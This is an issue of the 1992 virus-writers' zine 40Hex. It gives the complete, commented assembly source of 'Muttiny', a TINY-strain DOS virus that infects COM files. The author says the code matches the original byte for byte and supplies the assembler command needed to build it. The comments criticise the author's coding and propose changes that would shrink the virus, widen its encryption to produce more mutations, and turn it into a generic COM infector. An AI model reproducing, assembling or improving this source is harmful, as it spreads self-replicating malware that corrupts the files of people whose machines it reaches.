40hex7:(40HEX-7.004):06/06/1992 << Back To 40hex7

40Hex Number 7 Volume 2 Issue 3 File 004 I picked up a file touted as "a very small virus" and decided to figure out what this virus could be. SCAN86-B turned up nothing, so I had to disassemble it. The name was intriguing -- muttiny. I thought it was a misspelling of mutiny, but I was terribly wrong. After a minute, I had infected a carrier file and decrypted the virus. It took but one minute more to disassemble and maybe half an hour to comment. Argh! It is yet another TINY strain! I do not know who the author is, but I had a few comments to make. This virus, quite frankly, sucks. It is a pitiful excuse for programming. Many, many improvements can be made. I have put comments on how this virus could be made much mo' bettah. I must tell whoever wrote the virus that TINY is not so tiny anymore. The original TINYs were 150 bytes long. Now look at it! It is over twice that size! I suppose this virus is the "MUTated TINY" variant, but I'd prefer to call it "Messed Up Totally TINY". The author MUST clean up the virus before distributing it to everyone! One further improvement would be to make this virus a generic COM infector, which can be done in well under 200 bytes, with all the "functionality" of the current version. Note that this time I did not rewrite it, a la Tiny F 1.1, but rather merely suggested improvements. This way, you can easily see the bugs for yourself and learn from the author's pitfalls. Dark Angel of PHALCON/SKISM 4/23/92 P.S. This is a byte-to-byte match of the virus I picked up -- even the labels are in their correct offsets. The file below should match the source code of the original carrier file exactly. Assemble w/ TASM /m2. P.P.S. This is the last Tiny strain to be published in 40Hex. For some Reason, Tiny strains seem to come up again and again over here. I think it is hightime to put the Tiny series in its grave where it belongs. Amen. So be it. DA muttiny segment byte public assume cs:muttiny, ds:muttiny org 100h start: db 0e9h, 5, 0 ; jmp startvir restorehere: int 20h idword: dw 990h ; The next line is incredibly pointless. It is a holdover from one ; of the original TINYs, where the id was 7, 8, 9. The author can ; easily save one byte merely by deleting this line. db 09h startvir: call oldtrick ; Standard location-finder oldtrick: pop si ; The following statement is a bug -- well, not really a bug, just ; extraneous code. The value pushed on the stack in the following ; line is NEVER popped off. This is messy programming, as one byte ; could be saved by removing the statement. push si sub si,offset oldtrick call encrypt ; Decrypt virus call savepsp ; and save the PSP ; NOTE: The entire savepsp/restorepsp procedures are unnecessary. ; See the procedures at the end for further details. jmp short findencryptval ; Go to the rest of the virus ; The next line is another example of messy programming -- it is a ; NOP inserted by MASM during assembly. Running this file through ; TASM with the /m2 switch should eliminate such "fix-ups." nop ; The next line leaves me guessing as to the author's true intent. db 0 encryptval dw 0h encrypt: push bx ; Save handle ; The following two lines of code could be condensed into one: ; lea bx, [si+offset startencrypt] ; Once again, poor programming style, though there's nothing wrong ; with the code. mov bx,offset startencrypt add bx,si ; Continueencrypt is implemented as a jmp-type loop. Although it's ; fine to code it this way, it's probably easier to code using the ; loop statement. Upon close inspection, one finds the loop to be ; flawed. Note the single inc bx statement. This essentially makes ; the encryption value a a byte instead of a word, which decreases ; the number of mutations from 65,535 to 255. Once again, this is ; just poor programming, very easily rectified with another inc bx ; statement. Another optimization could be made. Use a ; mov dx, [si+encryptval] ; to load up the encryption value before the loop, and replace the ; three lines following continueencrypt with a simple: ; xor word ptr [bx], dx continueencrypt: mov ax,[bx] xor ax,word ptr [si+encryptval] mov [bx],ax inc bx ; The next two lines should be executed BEFORE continueencrypt. As ; it stands right now, they are recalculated every iteration which ; slows down execution somewhat. Furthermore, the value calculated ; is much too large and this increases execution time. Yet another ; improvement would be the merging of the mov/add pair to the much ; cleaner lea cx, [si+offset endvirus]. mov cx,offset veryend ; Calculate end of add cx,si ; encryption: Note cmp bx,cx ; the value is 246 jle continueencrypt ; bytes too large. pop bx ret writerest: ; Tack on the virus to the call encrypt ; end of the file. mov ah,40h mov cx,offset endvirus - offset idword lea dx,[si+offset idword] ; Write starting from the id int 21h ; word call encrypt ret startencrypt: ; This is where the encrypted area begins. This could be moved to ; where the ret is in procedure writerest, but it is not necessary ; since it won't affect the "scannability" of the virus. findencryptval: mov ah,2Ch ; Get random # int 21h ; CX=hr/min dx=sec ; The following chunk of code puzzles me. I admit it, I am totally ; lost as to its purpose. cmp word ptr [si+offset encryptval],0 je step_two cmp word ptr [si+offset encryptval+1],0 je step_two cmp dh,0Fh jle foundencryptionvalue step_two: ; Check to see if any cmp dl,0 ; part of the encryption je findencryptval ; value is 0 and if so, cmp dh,0 ; find another value. je findencryptval mov [si+offset encryptval],dx foundencryptionvalue: mov bp,[si+offset oldjmp] ; Set up bp for add bp,103h ; jmp later lea dx,[si+filemask] ; '*.COM',0 xor cx,cx ; Attributes mov ah,4Eh ; Find first tryanother: int 21h jc quit_virus ; If none found, exit mov ax,3D02h ; Open read/write mov dx,9Eh ; In default DTA int 21h mov cx,3 mov bx,ax ; Swap file handle register lea dx,[si+offset buffer] mov di,dx call read ; Read 3 bytes cmp byte ptr [di],0E9h ; Is it a jmp? je infect findnext: mov ah,4Fh ; If not, find next jmp short tryanother infect: mov ax,4200h ; Move file pointer mov dx,[di+1] ; to jmp location mov [si+offset oldjmp],dx ; and save old jmp xor cx,cx ; location call int21h jmp short skipcheckinf ; Once again, we meet an infamous MASM-NOP. nop ; I don't understand why checkinf is implemented as a procedure as ; it is executed but once. It is a waste of code space to do such ; a thing. The ret and call are both extra, wasting four bytes. An ; additional three bytes were wasted on the JMP skipping checkinf. ; In a program called "Tiny," a wasted seven bytes is rather large ; and should not exist. I have written a virus of half the length ; of this virus which is a generic COM infector. There is just too ; too much waste in this program. checkinf: cmp word ptr [di],990h ; Is it already je findnext ; infected? ; The je statement above presents another problem. It leaves stuff ; on the stack from the call. This is, once again, not a critical ; error but nevertheless it is extremely sloppy behavior. xor dx,dx xor cx,cx mov ax,4202h call int21h ; Goto end of file ret skipcheckinf: mov cx,2 mov dx,di call read ; read 2 bytes call checkinf ; The next check is extraneous. No COM file is larger than 65,535 ; bytes before infection simply because it is "illegal." Yet ano- ; ther waste of code. Even if one were to use this useless check, ; it should be implemented, to save space, as or dx, dx. cmp dx,0 ; Check if too big jne findnext cmp ah,0FEh ; Check again if too big jae findnext mov [si+storejmp],ax ; Save new jmp call writerest ; location mov ax,4200h ; Go to offset mov dx,1 ; 1 in the file xor cx,cx call int21h mov ah,40h ; and write the new mov cx,2 ; jmp location lea dx,[si+storejmp] call int21h ; I think it is quite obvious that the next line is pointless. It ; is a truly moronic waste of two bytes. jc closefile closefile: mov ah,3Eh ; Close the file call int21h quit_virus: call restorepsp jmp bp read: mov ah,3Fh ; Read file ; I do not understand why all the int 21h calls are done with this ; procedure. It is a waste of space. A normal int 21h call is two ; bytes long while it's three bytes just to call this procedure! int21h: int 21h ret db 'Made in England' ; Note: The comments for savepsp also apply to restorepsp. ; This code could have easily been changed to a set active DTA INT ; 21h call (AH = 1Ah). It would have saved many, many bytes. savepsp: mov di,0 ; The following is a bug. It should be ; mov cx, 50h ; since the author decided to use words instead of bytes. mov cx,100h push si ; The loop below is dumb. A simple rep movsw statement would have ; sufficed. Instead, countless bytes are wasted on the loop. storebytes: mov ax,[di] mov word ptr [si+pspstore],ax add si,2 add di,2 loop storebytes pop si ret restorepsp: mov di,0 mov cx,100h ; Restore 200h bytes push si restorebytes: mov ax,word ptr [si+pspstore] mov [di],ax add si,2 add di,2 loop restorebytes pop si ret oldjmp dw 0 filemask db '*.COM',0 idontknow1 db 66h ; Waste of one byte buffer db 00h, 00h, 01h ; Waste of three bytes storejmp dw 0 ; Waste of two bytes ; endvirus should be before idontknow1, thereby saving six bytes. endvirus: idontknow2 db ?, ? pspstore db 200 dup (?) ; Should actually be idontknow3 db 2ch dup (?) ; 100h bytes long. veryend: ; End of encryption muttiny ends end start